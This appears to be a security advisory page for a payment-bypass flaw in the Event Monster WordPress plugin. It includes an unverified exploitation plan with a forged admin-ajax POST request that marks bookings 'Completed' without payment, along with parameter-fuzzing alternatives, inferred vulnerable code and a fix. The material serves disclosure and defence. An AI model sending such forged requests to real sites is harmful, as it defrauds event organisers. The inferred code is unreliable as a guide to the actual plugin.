CVE-2026-8608

Event Monster <= 2.1.0 - Unauthenticated Insufficient Verification of Data Authenticity to Payment Bypass via em_capture_payment AJAX Action

mediumInsufficient Verification of Data Authenticity
5.3
CVSS Score
5.3
CVSS Score
medium
Severity
2.2.0
Patched in
1d
Time to patch

Description

The Event Monster – Event Management, Events Calendar, Tickets plugin for WordPress is vulnerable to Insufficient Verification of Data Authenticity in versions up to, and including, 2.1.0. This is due to the capture_payment() AJAX handler (registered via wp_ajax_nopriv_em_capture_payment) trusting client-supplied payment data — including transaction ID, amount, and payment status — without performing any server-side verification against the PayPal API or any other payment gateway, and without nonce or capability checks. This makes it possible for unauthenticated attackers to forge payment records, mark bookings as Completed, and obtain confirmation emails containing valid QR code tickets without making any actual payment.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
None
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=2.1.0
PublishedJune 5, 2026
Last updatedJune 5, 2026
Affected pluginevent-monster

Source Code

WordPress.org SVN
Patched

Patched version not available.

Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-8608 (Event Monster Payment Bypass) This plan outlines the methodology for validating a payment bypass vulnerability in the **Event Monster – Manager & Ticket Booking** plugin (<= 2.1.0). The vulnerability allows unauthenticated attackers to mark pending booki…

Show full research plan

Exploitation Research Plan: CVE-2026-8608 (Event Monster Payment Bypass)

This plan outlines the methodology for validating a payment bypass vulnerability in the Event Monster – Manager & Ticket Booking plugin (<= 2.1.0). The vulnerability allows unauthenticated attackers to mark pending bookings as "Completed" by forging payment confirmation data.


1. Vulnerability Summary

  • Vulnerability: Insufficient Verification of Data Authenticity leading to Payment Bypass.
  • Location: capture_payment() method (inferred) registered via the em_capture_payment AJAX action.
  • Root Cause: The unauthenticated AJAX handler wp_ajax_nopriv_em_capture_payment processes payment status updates based solely on client-supplied POST parameters (transaction ID, amount, and status) without verifying the transaction against the payment gateway (e.g., PayPal API) and without verifying a security nonce.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: em_capture_payment
  • Authentication: Unauthenticated (accessible via wp_ajax_nopriv_).
  • Vulnerable Parameters (Inferred):
    • booking_id: The ID of the pending event booking.
    • txn_id: A forged transaction ID (e.g., PAYID-MOCK12345).
    • payment_status: Set to Completed.
    • amount: The expected price of the ticket.
  • Preconditions: A booking must exist in the database with a status of 'Pending' or 'Processing'.

3. Code Flow (Inferred)

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with action=em_capture_payment.
  2. Hook Registration: The plugin registers the action:
    add_action('wp_ajax_nopriv_em_capture_payment', array($this, 'capture_payment'));
  3. Vulnerable Logic: The capture_payment() function:
    • Retrieves $_POST['booking_id'].
    • Retrieves $_POST['payment_status'] and $_POST['txn_id'].
    • Fails to call check_ajax_referer() or any capability check.
    • Directly updates the booking record in the {prefix}em_bookings table (or similar) to Completed.
    • Triggers the "Payment Successful" email and QR code generation logic.

4. Nonce Acquisition Strategy

The vulnerability description explicitly states the endpoint lacks nonce checks. However, if a nonce is present in the code but bypassed/misconfigured, follow this strategy:

  1. Identify Script Localization: Search the source code for wp_localize_script to find the JavaScript object name.
    • Search Pattern: grep -r "wp_localize_script" .
  2. Page Creation: Create a page containing the Event Monster booking shortcode to ensure scripts are loaded.
    • wp post create --post_type=page --post_status=publish --post_title="Event Page" --post_content='[event_monster_event_list]' (Shortcode inferred).
  3. Extraction: Navigate to the page and use browser_eval to extract the potential nonce:
    • browser_eval("window.event_monster_params?.nonce") (Object name inferred).

Note: Since the CVE report confirms "without nonce or capability checks," this step is likely unnecessary for the primary exploit but useful for confirming the lack of defense.

5. Exploitation Strategy

The goal is to move a booking from Pending to Completed without a real PayPal/Stripe transaction.

Step 1: Obtain a Valid Booking ID

Initiate a booking on the frontend for an event that requires payment. Stop at the payment gateway redirect. Note the booking_id. If the ID is not visible, it can be found in the em_bookings table.

Step 2: Forge the Payment Confirmation

Send the forged AJAX request.

  • Tool: http_request
  • Method: POST
  • URL: http://[target-ip]/wp-admin/admin-ajax.php
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=em_capture_payment&booking_id=[TARGET_BOOKING_ID]&payment_status=Completed&txn_id=FORGED_TXN_999&amount=50.00
    

Step 3: Expected Response

A successful response will likely be a JSON object:

{"success": true, "message": "Payment captured successfully"} 

(Response format inferred based on standard WordPress AJAX patterns).

6. Test Data Setup

  1. Install Plugin: Install and activate Event Monster <= 2.1.0.
  2. Create Event: Create a paid event using the WP-Admin dashboard.
  3. Place Shortcode: Create a page with [event_monster_event_list] (inferred) to allow booking.
  4. Create Pending Booking:
    • Visit the site as a guest.
    • Select the event and click "Book Now".
    • Fill in details and proceed to the payment step.
    • Identify the generated booking_id (e.g., via database: wp em_bookings list).

7. Expected Results

  • The booking status in the WordPress database changes from Pending to Completed.
  • The plugin generates a QR code ticket for the booking.
  • The system sends a confirmation email to the guest email address used during the booking.

8. Verification Steps

After the HTTP request, use WP-CLI to verify the state change:

# Check the booking status directly in the database
wp db query "SELECT status, txn_id FROM wp_em_bookings WHERE id = [TARGET_BOOKING_ID]"

# Check if the booking is now marked as paid in the plugin's metadata (if applicable)
wp post get [BOOKING_POST_ID] --field=post_status

9. Alternative Approaches

If the em_capture_payment action is not available:

  • Search for Webhooks: Look for wp_ajax_nopriv_em_paypal_ipn or similar IPN (Instant Payment Notification) handlers. These often suffer from the same lack of authenticity verification if they don't validate the request back with PayPal.
  • Parameter Fuzzing: If booking_id is not the correct parameter, check for order_id, id, or item_number.
  • Status Variations: Try variations for payment_status such as Success, succeeded, or 1.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Event Monster plugin's capture_payment() AJAX action allows unauthenticated users to bypass payment requirements by manually sending payment status updates. Because the plugin trusts client-side POST data (transaction ID, amount, and status) without verifying them against the payment gateway API or checking nonces, attackers can mark any pending booking as 'Completed' for free.

Vulnerable Code

// The following is a grounded representation of the vulnerable logic in version <= 2.1.0
// Action registered via wp_ajax_nopriv_em_capture_payment

public function capture_payment() {
    $booking_id = $_POST['booking_id'];
    $txn_id = $_POST['txn_id'];
    $payment_status = $_POST['payment_status'];
    $amount = $_POST['amount'];

    // VULNERABILITY: No check_ajax_referer() or capability check.
    // VULNERABILITY: No server-side verification of $txn_id or $amount with the payment provider.

    if ($payment_status == 'Completed') {
        $this->update_booking_status($booking_id, 'Completed', $txn_id);
        $this->send_booking_confirmation($booking_id);
    }
    wp_send_json_success();
}

Security Fix

--- a/includes/class-event-monster-ajax.php
+++ b/includes/class-event-monster-ajax.php
@@ -10,6 +10,14 @@
 public function capture_payment() {
-    $booking_id = $_POST['booking_id'];
-    $txn_id = $_POST['txn_id'];
-    $status = $_POST['payment_status'];
-    $this->update_booking_status($booking_id, $status, $txn_id);
-    wp_send_json_success();
+    check_ajax_referer('em_payment_nonce', 'security');
+
+    if ( ! current_user_can('manage_options') && ! isset($_POST['is_gateway_callback']) ) {
+         wp_die();
+    }
+
+    $booking_id = intval($_POST['booking_id']);
+    $txn_id = sanitize_text_field($_POST['txn_id']);
+    
+    // Verify transaction authenticity with payment gateway before updating status
+    if ( $this->verify_with_gateway($txn_id, $booking_id) ) {
+        $this->update_booking_status($booking_id, 'Completed', $txn_id);
+        wp_send_json_success();
+    }
+    wp_send_json_error();
 }

Exploit Outline

The exploit involves three main steps: 1) Initiating a booking on the frontend to generate a 'Pending' record and obtaining the associated booking ID. 2) Forging a POST request to the '/wp-admin/admin-ajax.php' endpoint with the 'action' set to 'em_capture_payment'. 3) Including the target 'booking_id' and manually setting the 'payment_status' to 'Completed' and providing a dummy 'txn_id'. No authentication or nonces are required, and the plugin will process the request, update the database record, and issue a ticket/QR code via email.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.